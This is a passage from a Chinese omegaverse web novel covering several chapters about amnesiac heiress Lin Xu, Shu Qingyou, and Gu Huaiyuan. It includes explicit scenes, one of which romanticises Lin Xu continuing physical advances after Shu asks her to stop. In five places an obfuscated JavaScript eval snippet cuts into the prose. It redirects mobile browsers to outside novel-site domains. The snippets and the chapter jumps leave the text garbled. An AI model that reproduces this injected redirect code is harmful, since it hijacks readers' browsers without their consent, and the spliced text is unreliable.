顾怀愿不想和她多磨嘴皮子,先把人载回家,一切好说。 怎料林絮眼疾手快,一把将她方向盘按住,思忖半晌,郑重道:“你不是我妻子吧。” 顾怀愿心下一跳,看个视频就灵光闪现了? “这话从何说起?” 她笑道:“没必要骗你,要不我把我们结婚视频也给你看看。” 反正订婚视频的场面也合乎礼仪。 “好吧,你作为我合法伴侣,怎么会没有权力探讨股东权益,你完全可以在法律层面上接管决策权,你倒好,眼睁睁任他们对我胡作非为,股东协议都不清楚,所以,你真是我合法妻子?” 林絮倒豆子一般倾泻而出,脸由内而外发烫,脑子在密闭的空间逐渐升温。 看到顾怀愿眼底划过一丝赞许,林絮反而有些怯懦。 “但如果你不是我妻子,你也不会出现在会议,而且你并没有表现出漠不关心。” 没想到,林絮不算彻底让她糟心,顾怀愿下巴微阖,红唇动了动。 “继续,听起来,你对我很有怨念?” 林絮像是下定决心,她一字一句,清晰有力。 “我要你提供相关婚姻证明,你要证明是我合法配偶。” “就这样,你不想看我们接吻照?” 逗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325886|167612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小孩似的,这感觉棒呆了,顾怀愿早就想让林絮吃个哑巴亏。 林絮睁大双眼,咽了下口水。 “你,你!你恬不知耻!” “到底你是A我是A?我们可是在牧师面前发誓的,你当然得主动亲我。” “你胡说,我才,才不会和你,和你...” 说到一半,林絮两眼一黑,捂住胸口,好不容易顺过气,顾怀愿再看时,林絮眼眶红了一圈,舌头都不利索了。 “你也不至于哭吧...” 虽然也很好笑,顾怀愿还是有点朋友仗义,唰地抽出一张纸。 “看过医生了?” 林絮抹掉眼角微不足道挤出来的金豆豆。 “看了啊,舒姐姐带我去的,说我再过几天就恢复了。” 几天?这么快,顾怀愿再次确认,“你车子都四分五裂烧成炭了,真没给摔个颅内出血?” “对啊,我拍过CT,轻微脑震荡。” 顾怀愿食指在方向盘中间的LOGO打着旋,今天心血来潮偶然给她找到人,把林絮带回去未尝不可,只是贸然行动。 也没提前个几天给自家父母打声招呼,林絮她舅舅还虎视眈眈,当时林老太知道林絮的消息,气急攻心,直接给送进了ICU,能否醒来都是后话。 林絮现在不清不楚出现在众人眼前,无异于把兔子送进狼窝,有去无回。 “你干嘛不说话啊?” “你烦不烦,我在考虑把你藏在哪呢,头都大了。” 林絮想到当时舒清柚对她说的,她飞快回:“我当时给舒姐姐打过电话,让她帮我藏起来。” 怎么又是舒姐姐,顾怀愿埋头苦思,一个头两个大,林絮疯了吧,她忘了这是她杀母仇人的女儿? 打的什么算盘,顾怀愿眉头都快拧成个小山丘。 “你意思是暂时留在这?” “对!” 林絮各种耍赖,不认账,最后顾怀愿只告诉她,她们确实是商业联姻,对林絮而言,这点就足够了。 “你下次来找我,能不能别这么大张旗鼓?” “你还挑上了。” 顾怀愿也没个正形,拍拍屁股一走了之,反正照片能证明林絮还活着就行。 待对方的豪车一骑绝尘离开,林絮像被抽去全身力气,垂头丧气来到后院。 之前舒清柚不愿意她打探这间小屋,现在门也紧锁,她无力滑下,蹲靠在门前,双臂抱腿。 天色都被涂成墨水了,舒清柚怎么还不回来? 和顾怀愿交涉,听到那些曾经属于她的往事,她愈发疲倦,她眨了几下眼睛,忘记可以打舒清柚电话。 她歪着脑袋,在一声声鸟鸣中,眼睛渐渐阖上。 许久。 林絮迷糊间感觉有人在耳边唤她,她咕哝一声。 “嗯?” “会着凉的,别在这里睡。” 比起声音,更早觉醒的是嗅觉。 橙香味,让人感官愉悦,甜中带清透的酸,鲜活,像秋冬暖阳,她希望,能将这些装进她的瓶子里。 恍然间,林絮脑海蹦出这几行字,睫毛微动,像蜻蜓翅膀般扑腾着,睁开。 舒清柚离她很近,她看清她的茶眸一如既往寂淡。 林絮自顾自地脑补出她对自己还存些关心。 一日不见,如隔三秋,林絮想,几小时不见,如跨江海。 “舒姐姐...” 林絮想要立刻站起,蹲太久,腿都麻了,她摇晃着,蓦地没站稳,扑倒在舒清柚身上。 “啊...” 重量不重,但林絮身高摆在那,也轻不到哪,舒清柚被她撞到后退好几步。 下一秒,林絮怕她俩跌倒,本能地将舒清柚反搂在怀,柔软贴着柔软,下巴搁在舒清柚肩上。 林絮吸着甜香的来源,上瘾了般,将舒清柚抱地更紧,几乎揉进身体里。 听到林絮发出的重重喘息,滚烫的呼吸洒在舒清柚颈间,被林絮的胸脯挤压。 舒清柚试着阻止:“林絮,别这样...” “哪样,舒姐姐,我等了你好久,好想,好想你,我...” 林絮罔顾之前克己守礼,放肆地凑近舒清柚的腺体,轻声呢喃:“想亲。” 23. 第 23 章 舒清柚算好时间回来,晚餐也在外面解决,舒绒吃太多点心,一直蹭她求揉肚子消食。 这不经意间,她恍惚想起林絮近日撒娇的神态。 活像只吃饱喝足求主人安抚的毛茸茸,倒不如说,基因传承,如出一辙。 舒绒半岁时,发过一次烧,不严重,医生判定的结果不会影响小孩发育,至于不张嘴说话,曾困扰过舒清柚。 随时间推移,其他小孩该有的天性,舒绒不缺,她也就不再多虑。 舒清柚素来性格寡淡,林絮只短暂住几天,舒绒情绪高涨不少。 分析下来,舒清柚对孩子增添了些亏欠,她还以为,够资格当个好妈妈。 那位女人,和林絮分外熟稔,财气外露的豪门千金,明媚妍丽的外表。 当年她就想过,哪类人适配林絮,会给她带来足够情绪价值。 现在问题的答案昭然若揭,能和林絮相伴一生的Omega,必然与之旗鼓相当。 哄完女儿,她口袋里揣了包女士香烟,无论如何,生活继续,人总不能原地打转。 其实她要多谢林絮,解开小心结,联系许久不联系的老师,友人。 开工之日像是滴答着开始走表的时钟催促她。 一个有结局的故事,句号落下,细节过程无足轻重。 当她来后院打算检查拉胚机器,天光可见度低,只能看到影影绰绰的人形缩在不远处。 她握了握刚打开的烟盒,垂下羽睫,琢磨了几秒,将烟蒂又摁回去。 大剌剌蹲守她的,除了林絮还能有谁。 深秋的夜,雾霭沉沉。 她思索一会,伸手提醒,林絮为什么不离开? 林絮如沙漠饥渴旅人,头脑发昏,她不是没发觉到舒清柚的推拒。 太用力,手掌触及毛绒大衣,往自己胸口方向按压,舒清柚那抽条似的背脊硌在她掌心。 蝴蝶骨在描摹中寸寸突出,林絮的感官告诉她,这性感地过分,信息素不由分说从腺体沁出。 她埋在她颈窝里,舒清柚自然垂落的发丝和林絮的相互交错,林絮的呼吸在一点点凌乱。 由衷夸赞。 “真漂亮,就连腺体也是。” “住嘴...” 舒清柚当即的反应是林絮理智不清,这些Alpha,理智崩盘时,什么甜言蜜语都说得出,只为汲取想要的信息素。 至少可以肯定,林絮没喝酒。 “为什么要忍呢?” 林絮不清不楚地叹息,强势地将腿挤进舒清柚的。 后方没有支点,迫于无奈舒清柚只能攀附在林絮双肩。 热潮花香像是要把其他气息侵占同化。 舒清柚胸腔的心跳猛然加快,呼吸不畅,对方喷洒的灼热气息层层递进,在她微凉的皮肤蔓延。 腿心难以启齿的糟糕。 奈何林絮并没有多温柔,霸道任性的所作所为和从前相差无几。 无法动弹。 舒清柚有些悲哀地听天由命,Omega的的天性导致无论何时何地,容易被诱导发热。 露天环境,疾风凛然吹拂起她的长发。 稍微降低周身源源不断上升温度,舒清柚勉强才从齿缝漏出简短的言语。 “我站不住了。” 一点都不想就此打住的林絮,吐息热气的唇瓣反复在平滑的白色抑制贴上摩挲。 香橙味信息素就像刚晃动的啤酒,一旦撬开,气泡花和香味从罅隙间迫出。 和天降甘霖没差别,林絮心底生出卑鄙恶劣的小心思。 她没有说不行,算是变相的鼓励,林絮自我攻略中。 随即张嘴,舌尖从唇齿间探出,舔了下最贴近腺体的皮肤,甜到她快丧失正常思考。 林絮还记得回复,“没关系,我抱紧了,不会摔。” 舒清柚有点气冲心头,一边无法抵御条件反射,心底潜藏的欲.望叫嚣着释放,天经地义,人之常情。 理智之弦摇摇欲坠地警示她,这种事一旦不再束缚,犹如脱缰野马,只会越发沉沦。 舒清柚喘着告诉她:“我们,暂停一下好不好?” “暂停?”林絮眼神迷离,甜香埋没了她的大脑,她不禁喟叹:“真好闻,好闻到想一口吞入腹中。” 说着,林絮没客气,在她腺体上,隔着抑制贴咬了下,标记齿浅浅地陷入。 舒清柚嘤咛一声,想着她这些天大概不好见人了 这个季节正好可以穿高领上衣或用围巾遮挡。 林絮还不断在后背来回抚慰,激起她阵阵颤.栗。 舒清柚无法自诩圣女禁.欲者,她指尖蜷起,揉乱了林絮穿着的夹克, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325887|167612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出现道道堆起的皱褶。 咬紧后槽牙,闷哼道:“你知不知道你在做什么!” 当然明白,她就是这样下作,林絮想,反正有理由可以为她掩饰,信息素驱使,或者睡迷糊了。 她又不是正人君子,标记齿酸痒,仍旧没放过血管密布娇.嫩的腺体周围,低低嗅着香味。 “一下,一下就好。” 言不由衷,她故意轻咬两下,深咬一下。 林絮心跳如雷,舒清柚只要垂首,不需要贴多近,就可以发现她砰响的心脏。 她没发觉,自己的嗓音沙哑粗粝。 “舒姐姐,腺体怎么样,疼不疼。” 舒清柚忍气吞声,疼又如何,事实证明,就算她喊疼,林絮也没见得放过她。 她微阖双目,散乱的发丝贴在沁出薄汗的额间。 林絮意识到对方的放松,更加柔软地任她为非作歹,比小蛋糕还软。 她心怀不轨,却又掩耳盗铃地看向舒清柚。 眼尾泛起不正常的嫣红,那颗棕痣坠在下方,愈发锦上添花。 舒清柚嘴唇抿紧,像是面临最终裁决的被害者,林絮不禁轻笑。 “舒姐姐,你的嘴,看起来也好好亲哦。” 蓦地,舒清柚眼睫颤了几下,撩起美目,眼眶盈着水润的潮湿。 林絮愣了下,绮丽的心思不欢而散。 舒清柚愠怒,凤眸死死地盯着她。 “好亲?!” 厚颜无耻而不自知,都已经有妻子的A了,对婚姻不认账,不打招呼就赖在她这里。 况且这边只有勉强能生活的房子,比不上豪宅,也无佣人伺候。 “我,不是,我就想试试...” 要不是顾怀愿说到在牧师见证下接吻相关,她也不会起这种想法。 “你误会了,我真不是故意的。” 被指责后,林絮双腿本分窝囊地站定,像做错事的小学生,手贴在裤缝侧边。 月牙将将升起,借由一点光,看清裤子膝盖处异于布料的颜色痕迹。 林絮的脑袋轰地一下炸开。 这是不是意味着,继续,会比较好? 舒清柚平复呼吸,顺着视线,舒清柚才降温的脸颊腾地翻涌热浪。 她当即捂住林絮的眼睛嗔怒。 “不许看!” 24. 第 24 章 柔荑香软,哪怕看不见,香味经久不散。 只听得耳畔继续擦过舒清柚发颤的嗓音:“再看,把你眼睛挖了。” 林絮的口水咽了又咽,她费了好大的劲才把持住没去冒犯舒清柚。 “我什么都没看到。” “舒姐姐,你的手温度和我一样哦。” “林絮,你要不要脸!” 舒清柚触电似的抽回手,林絮不如她愿,狡黠地抓住,放在自己脸上,无辜地眨眼。 “真的,你摸摸,我们是一样的。” 多情勾人的桃花眼,乖巧可怜,一瞬不瞬凝着舒清柚,映出她的短暂失神。 舒清柚的手比她小一些,被林絮覆压,舒清柚垂眸摇头,“可以了...” “不够,”林絮拉着她的手,稍稍往下,指尖触到林絮软绵的唇,未施口红,上唇比下唇薄一些。 舒清柚无法阻止她,她别过脸,耳廓漫上殷色。 而林絮只是用唇碰了下舒清柚粉红的指尖。 “舒姐姐,我和顾怀愿应该不是正常婚姻。” “我不想知道。” 说不上缘由,舒清柚听到她说不是正常结婚,有点模棱两可,正常与不正常由什么来界定? 没有发生关系,还是发生了关系但没感情? 不管出于哪方面,舒清柚都不会过问。 “要知道的要知道的,我有责任和你讲明。” “你有什么责任?” 舒清柚自嘲地眯着眼,心里掀起小小的海浪,谈责任,就不会莫名其妙抱住她啃。 “我刚才对你做了那种事,就要担起身为Alpha的责任,包括我知道的全部,保证实诚一五一十不撒谎。” 林絮当真竖起三指,像是要发誓表达一心一意对舒清柚的专情。 这奇怪的逻辑,先上车后补票,舒清柚无话可说,体内酸痒感还在作祟,她看着林絮的手指,猛地忆起从后面来的姿势。 体内异样更为明显,她咬住口中腮肉。 “不想听,我回去休息了。” 林絮急急跟在舒清柚后面,当她的小尾巴还摇头晃脑。 “舒姐姐,你还生气吗?” “对。” “哦,那反正都生气了,可以再亲亲吗?” 舒清柚刚从后院开门进厨房,打开水龙头洗手,冷水哗啦冲刷,水花在水槽飞溅。 拧紧开关,腕上搭着毛巾,舒清柚靠在流理台,石英石的冰凉丝丝缕缕透过外衣渗入。 她清疏地看了林絮一眼,唇角轻翘,带有温和的意味。 “我们还没到那层关系。” 听到这话,林絮马上就像水分流失的海绵,精神都瘪了下去。 “怎么这样?” 看林絮委屈的,她反倒像个恶人了? 舒清柚再次刷新三观,有有种意料之内的先见之明。 这人本来就厚颜无耻。 林絮只不过抛弃掉两人间长久的嫌隙,放大化身体的占有欲。 毕竟,林絮那句不讨厌她的信息素,紧接着就是不明不白结束关系。 曾一度让舒清柚萌生剜除腺体的念头。 “怎样?你是觉得生气必须大吼大叫才管用?” “当然不,你现在就在凶我。” “还有呢,想过缘由吗,你真有在感同身受吗?” 缘由...感同身受,有必要吗? 林絮着实想了会,那些场景,无一例外,都是她自作自受。 以舒清柚的方式,大概会对她颇有微词。 “对不起。” 林絮主动献上脖子,“之前把你咬疼,你咬回来,我们互不相欠。” 这是重点吗? 装傻充愣是假,想得到奖励是真,舒清柚冷笑,觉得林絮不可理喻。 “借过。” 厨房过道比较窄,只能容纳两人,林絮完全没有自觉将舒清柚,双臂撑在台面。 “你都不想搞清楚我为什么留下来吗?我说了言无不尽知无不言。” 林絮拦住她,丝毫没有礼让的意思,“你快问我嘛。” 见这阵势,舒清柚无奈扶额,她真的很想去洗澡,腿部黏糊糊的到现在还没干涸。 舒清柚产生种这辈子都逃不开林絮的错觉。 “好吧,你为什么不和她走。” “首先,我脑子不好,回家就是任人宰割。” 林絮开始盘点原因,“其次,我对她没好印象。” 很正确,很合理,舒清柚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15325888|167612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推开林絮的手臂,岿然不动。 “好的,我明白了,放我走。” 舒清柚觉得有点圣母了,妹妹的顾虑是对的,而林絮对她做的,验证了这点。 何止X骚扰,简直就是在进桔子的边缘积极试探。 林絮天真地说:“还没说全呢,有点耐心好吗?” 现在又把错推到她头上了,舒清柚深呼吸一口气,“嗯,等你。” 厨房走廊灯不够明亮,林絮打起精神,将舒清柚的反应尽收眼底。 舒清柚刚淌过泪花的的睫毛浓密,像晨间露水轻颤,林絮不争气,又起了不可说的念想。 她喃喃道:“第三点,我舍不得你。” 舒清柚的眼神从惊讶,再到疑惑,她和她视线相交,从林絮看似真挚的语气分析。 她发出低笑,嘲弄的意味明显不过,还没等林絮还想继续表明心意。 “你是不是觉得我很好欺负?” “当然不,怎么会这么想,我,”林絮稍稍动了下脑筋,话到嘴边马上换了一句。 “都怪我,今天腺体特难控制,我也是身不由己,我发誓,我没想欺负你。” 舒清柚重复了遍她说的难控制,“真的不欺负我了?” 林絮都想对老天跪下起誓,“嗯嗯,再也不。” Alpha的嘴,骗人的鬼,舒清柚不争辩,撩起嘴角,林絮看不懂,只见舒清柚垂首,几许发丝落于眼睫。 突然间,林絮呼吸一滞,嘴唇微张,舒清柚分开刚擦拭过的冰凉手指,覆在林絮手背肌肤。 她仔细观察着林絮手部微小的颤抖,曲起手指,以极其缓慢的动作画上不规则图形。 点,线,绕圈... 林絮大气都不敢出,口中疯狂分泌唾液。 凹凸的青筋脉络被指腹按了又按,林絮顿时头皮发麻,难耐地逸出呻.吟。 再滑到指关节的坚硬,反复摩挲,丝凉的触感与温热交替热量,富含挑逗。 都说十指连心,酥.麻感从手扩散到整只手臂,林絮不仅手背有些痒,心也像是被这几根手指攥紧。 林絮看不清舒清柚的表情,但她不敢和她对视,脸烧地林絮都想给自己冲个冷水澡,太煎熬了。 “想继续吗?” 25. 第 25 章 舒清柚莞尔,指腹依旧在林絮的指缝间隙上下滑行。 稍微仰起脖颈,嘴唇贴在林絮的肩窝,如她所愿,看到林絮猛烈地颤了好几下。 诱人的甜香直抵灵魂深处,林絮倒吸口冷气,再屏住呼吸,坚持了几秒她也数不清。 她真的好想,但是不行,林絮的理智和生.理在做激烈斗争。 如同天使和魔鬼,两个都是她。 她很不争气,像被她人玩弄掌心的宠物,甚至于忘乎所以。 “想...” 舒清柚嘴唇一撇,眨了下眼睛。 “不给哦。” 听到这,林絮低声呜咽,没吃饱似的。 呵,果不其然,只是把当初和她常玩的小把戏再来一次, “是你说再也不欺负的。” 她淡定自若地提手,将林絮往后一推。 力道来的很轻,林絮却结结巴巴地退缩,背部啪地一下撞在墙上,从嘴里挤出几个字:“嗯,不欺负。” 舒清柚眼底换上染霜般的冷漠。 “所以,别再说舍不得冠冕堂皇的话,舍不得就不会欺负。” “你的定力,不过如此。” 舒清柚侧过身,就要往房间里走。 如同当头一棒,林絮全面溃败,想哭晕的冲动都有了,她不死心地在她后面喊。 “可是,我晚饭都还没吃,你要饿死我吗?” 两人间隔不远,舒清柚转身,盯着林絮的脸,食指压在唇上,点点头,百分百肯定。 “饿不死。” 事实证明舒清柚一点都没错,林絮不是喜欢自虐的人,除非万不得已,她会想方设法保护好自己。 包括胃,她捏捏没多少脂肪平坦的肚皮,懊恼还不如抱舒清柚大腿让她给她做顿好的。 不对,没准她厨艺精湛,可以填饱肚子呢,林絮瞬间有了奋斗的精力, 冰箱,还有可以存放方便食物的橱柜,她通通翻了个遍。 林絮在厨房大展拳脚半个多小时,叮铃咣铛响个不停。 但舒清柚没听清,就算听见了也来不及阻止。 刚回房间,随意看了眼舒绒,睡的很沉,她匆匆拿起内衣直奔洗手间。 头发捋至耳后,打底衫下拉,镜子照出她腺体周围不忍直视的红印。 她蹙眉反思,就算和外人解释蚊虫叮咬,也不至于排列这样紧密。 以后和林絮单独相处是否需要带上防身器具,成为她清单上需要划掉的一项日常。 她撕开被林絮口水和标记牙濡湿的抑制贴,都快泡皱了... 低头丢进垃圾桶,摸上还没消肿的脆弱腺体。 眼底晦暗不明。 她舔了下干涸的唇,外面传来急促的脚步声。 舒清柚的目光在把手逗留了会,随即按住,确认门锁无误。 转身,指尖轻动,衣物件件褪去,白皙的女性□□曲线曝光在暖灯下,及腰长发遮住绵软部位。 冷空气激地她肌肉紧绷,直至花洒的热水倾泻而下,水珠从天鹅颈流淌,滴落双峰,清理着粘腻的□□。 延续水流的方向,来到密丛,她的脸逐渐泛红。 似乎已形成旷日难见的小片沼泽。 以往发.情期间,稳定准时,每月一次雷打不动,反应不强烈时,还可以不用打抑制剂,换新抑制贴即可。 哪怕标记被清洗,身上属于林絮的印记荡然无存,体内却不如她所想,不是能控制的。 突然想到一句很讽刺的话:嘴上嫌弃,身体却很诚实。 就像当下,双指压住腺口,不轻不重地揉动。 左手扶住潮湿冰冷的大理石砖墙,热水在身边冲刷,聚集起热气,浴室温度上升地很快。 她低着头,咬住嘴唇,瞥了眼门外,小心克制地不发出声音。 林絮折腾了好久,对自己的成果很是满意,一碗清汤面,撒了几粒葱花和荷包蛋,她满意地端着作品坐在饭桌前。 由于太饿,还没等面凉下来,筷子夹住一大把送进嘴里。 她瞬间瞪大眼睛,怎么回事,这甜淡风味的面条是什么黑暗料理,同时还烫地舌头都捋不直了。 试着又吃了点,无法下咽。 “怎么办啊...” 林絮愁眉苦脸看着还剩大碗的面条,鸡蛋也不好吃,苦苦的,无奈,只好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林絮忙不迭坚定拒绝,被舒清柚看到那多没面子,尽管她已经抛弃微不足道的脸面了。 “不用不用,你先吹头发,我就来问问你泡面放哪了。” “真没什么好看,你快去吹头发,别感冒了。” 舒清柚没走出两步,林絮挡住她的视线,欲盖弥彰的意味反而更突出了。 这人绝对心里有鬼,舒清柚横眉冷言:“让开。” 林絮不自在地移开脚步:“你别吓到,更别打我。” 这话听着倒挺逗,她觉得林絮才是有点暴力倾向。 离厨房越近,熟悉的烧焦味直冲天灵盖。 林絮提心吊胆地,试图挽救地捂住舒清柚的眼睛。 “你还没保证不打我,不对,打屁股可以。” 这和屁股又能扯上什么关系,舒清柚实话实说:“你的脑回路我有点跟不上。” 当看清厨房惨状,舒清柚认命了,生活就是如此,在你安于趋近无风无云的恬静,不多时却风云变幻,接连不断砸冰雹。 和多米诺骨牌效应差不多,不带歇的。 厨房的锅蓄满了水丢在水槽,烧焦的黑烟不再,但没开窗户,味道全挤在屋子里,依然呛鼻。 很少下厨的人通常把握不住干面条的分量,林絮很不客气抓了一大摞,包装袋被她乱扔一气。 碗装不下的膨胀开的面,有些归宿的垃圾桶,其余的粘在锅底,半截飘在水中, 更别提浪费的鸡蛋,鸡蛋液部分流在地上,没有鞋面划过的痕迹,舒清柚竭力找出能让她不动怒的点,恐怕就是这里。 能把厨房折腾成硝烟战场,不失为一种天赋。 “林絮,我发现你还蛮厉害的。” 林絮那叫一个惊心胆颤,舒清柚竟然还能心如止水,说是暴风雨前的平静,也还符合。 “我真的错了。” 她惴惴不安地道歉,“要不,罚我跪搓衣板,榴莲也行。” “再说吧,请问我可以发表观点吗?” “请便请便。” 此时不狗腿,更待何时。 舒清柚睨了她一眼,展袖,准备先拖地。 “这世上,人无完人,你控制不住情绪,我理解,但你不断做明摆着干扰我的事情,我有点不明白,你底线在哪,就算有,也是抱着我会纵容你的态度,故态复萌,对吗?请你记住,这里不是你的家,以及我不会动手,更没那方面喜好。” 一个脏话没说,林絮却有如当头棒喝,愣着不动。 一浪接着一浪的酸涩撞上心头,在她心里,竟然是这样的形象吗? 眼前很快变得模糊不清,林絮垂头不语。 舒清柚看了看她,已经趴在饭桌上,霜打茄子般。 也太玻璃心了。 但不清楚林絮有没有在反省,说到底,积少成多,失望也一样,话虽然说的重,可她没义务为她擦屁股。 待舒清柚打扫好,已经过去半小时,林絮做的坨成一团的面也处理掉了,在这一点的时间内,林絮乖地和这几天简直判若两人。 林絮心中五味杂陈,占据最多的情绪就是痛苦,她倒没想着喊冤。 余光不断瞥向舒清柚忙活的身影,起伏的胸口,白色浴袍有些宽大,弯腰时,两只白兔聚拢在一起的缝隙若隐若现。 换作平常的好心情,她早就信息素上脑,神游天外。 但舒清柚的话里话外,她是个连自我都控制不住的成年人,甚至于在她眼里还不如舒绒吧。 想到这,林絮眼泪汪汪又要止不住,落水狗还没她可怜吧。 她一回头,碰巧舒清柚端了个瓷白的碗,散发着馋人的泡面味,浓汤的面中卧了个溏心荷包蛋。 这比骂她打她更让她破防,林絮努努嘴,肚子都被苦水填饱了,还想放纵大哭。 她眼眸水雾朦胧地仰起下巴和舒清柚对视。 卑微无助,像被舒清柚暴揍三天三夜,她知错,设法求安慰。 舒清柚:“给你煮了面,不知道你还吃这个。” 林絮小声哭泣,嗯了声,双臂轻轻环上舒清柚纤细的腰身,法兰绒软软地贴着她。 她在上面扭了几下脑门,如倦鸟找到归宿,含糊不清道:“谢谢,舒姐姐,我这次真的真的知错了,我一定改。” 舒清柚把碗放好,现在林絮或许是纯粹简单的,她明知这是暂时迷惑的假象。 可能,现在的环境对林絮而言比较容易相与,可舒清柚面对的,是一个活生生的棘手的人。 她无奈道:“改不了也没办法,我不强求。” 林絮坚持己见,表示一定要改。 究其原因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林絮老实巴交等舒绒打了个饱嗝,不等舒绒指示,她抱起她。 “想不想来点好玩的?” 50-60 第51章 震惊一万年,被叫宝宝了 “等一下。” 林絮唤住她,捻下一片紫色花瓣,轻嗅,寓意美与爱的紫罗兰。 比起她的信息素,稍显逊色,险胜。 都快临门一脚逃脱,顾怀愿脊背僵了下。 有种见到老朋友的错觉,林絮对一切抱有占有欲掌控欲,不允许别人违逆。 她僵硬地转动脖子,“好姐妹,你还有何吩咐?” 舒清柚发现顾怀愿脸上透出的不情愿,她以为林絮在和顾怀愿上次见面为难对方。 她摸了摸林絮的脑袋安抚,“别吓人家。” 天道有轮回,林絮嘴里仿佛被塞了一团棉花,噎地严严实实。 待顾怀愿不乐意问她:“对啊,好好的吓人干嘛,突然化身千年老冰块。” 她一屁股坐在看护椅上,手包随意一扔,“看你可怜,有什么要交待的赶紧说哦,我赶时间。” 林絮都不屑点破她,所谓的赶时间就是去赶场俱乐部或者夜店。 她脸色苍白,掀起眼眸,对着舒清柚露出小狗般听话的笑容,“舒姐姐,我有些事想请教顾小姐,关于上次,她父母和我说项目上的问题。” 怕舒清柚不相信,她装可怜,眉眼软萌地耷拉,补充道:“我不知道怎么同我奶奶讲但涉及到商业机密,所以舒姐姐你们,能不能出去等我呢?” 如果说肉麻分等级,那林絮当之无愧拿第一,顾怀愿觉得隔夜饭都要吐出二两。 舒清柚吃她这一套,以至于分不清东南西北,当机立断向妹妹招手。 林絮突兀地来了一句,“把绒绒留下吧,舒姐姐,我好想她。” “绒绒,你也想大姐姐了对吗?来这里,姐姐出院后给你买铺天盖地的小蛋糕。” 舒绒的软肋之一就是小蛋糕,和猫薄荷似的,不需要勾引,自己闻着味就来了。 给三岁奶娃娃画大饼林絮充分体现资本家险恶的嘴脸。 不止顾怀愿,连舒晚柠都得给她竖个大拇指,这装货,伪善至极,卖惨装可怜虫把她姐迷的晕头转向。 “好啦,所以你到底要干嘛,先说好,我不记得我爸妈有拜托你什么,你是不是想搞点幺蛾子。” 林絮一只手牵着舒绒,目光停在关紧的房门,微微暗沉 她缓慢地看向顾怀愿,如按下慢动作,顾怀愿莫名打了个冷战。 没去看舒绒,林絮淡淡开口:“绒绒,等会姐姐让你捂住耳朵,知道吗?” 林絮吩咐完这句,接着说:“小愿,山中无老虎,什么称大王来着?” 顾怀愿愣了下,“猴子?” 说完,两人之间的沉默延长一瞬,顾怀愿惊地站起,眼睛微微睁大。 “你叫我小愿。” 只有小时候的林絮会用这个称呼,是不是她…… “嗯,所以你要用那些断章取义的视频威胁我。” 什么视频,听的顾怀愿更一头雾水,她浑身不自在,林絮和先前判若两人啊。 阴翳的眼神,这是下一秒就要发怒的节奏。 再结合林絮川剧变脸的态度,她想到一种可能,张嘴,“你不会都想起来了吧。” 林絮揉了下太阳穴,“你反射弧也太长了,难不成我还和你打哑谜。” 都在猜猴子老虎了,顾怀愿抚着突然被吓一跳的胸口,“你已经知道舒绒” 林絮点点头,看了眼舒绒,正一无所知拉着她的手。 顾怀愿奇怪,既然她想起一切,为何要留舒绒在,林絮不见得有必要向她炫耀:看,我多了个便宜女儿。 似乎猜出顾怀愿的疑惑与诧异,她开始解释,“把她留下来舒清柚不会怀疑我,她生性敏感。” 顾怀愿却猜出她的真实想法,不避讳地一针见血,“我看你就是妻管严,为了让女朋友宽心。” 林絮冷哼,笑了一声:“绒绒,捂耳朵。” 舒绒像听到指令的小动物,立刻两手放在耳朵上,讨好地朝林絮撒娇。 虽然女儿不会讲话,但聪明,哪怕有点吃货潜质,也属于可爱的加分点。 林絮目前可以半坐在床,她搂着舒绒小半个身子,“怀愿,随你怎么想,” “以你的八卦程度,已经调查出来几年前那场事故,还有她家公司倒闭的情况了。” 很聪明,瞒不过她,顾怀愿耸耸肩,她也没存坏心思,这点林絮也了解,好歹俩人从小打交道。 彼此的小九九基本一清二楚。 提到舒清柚家事,本不该顾怀愿掺和,但稍微有点正义感的外人也于心不忍,她正色指责。 “你实在是太过分,就算人家妈妈干了那种事,但罪不及父母,祸不及家人” 林絮警告地给了她一眼。 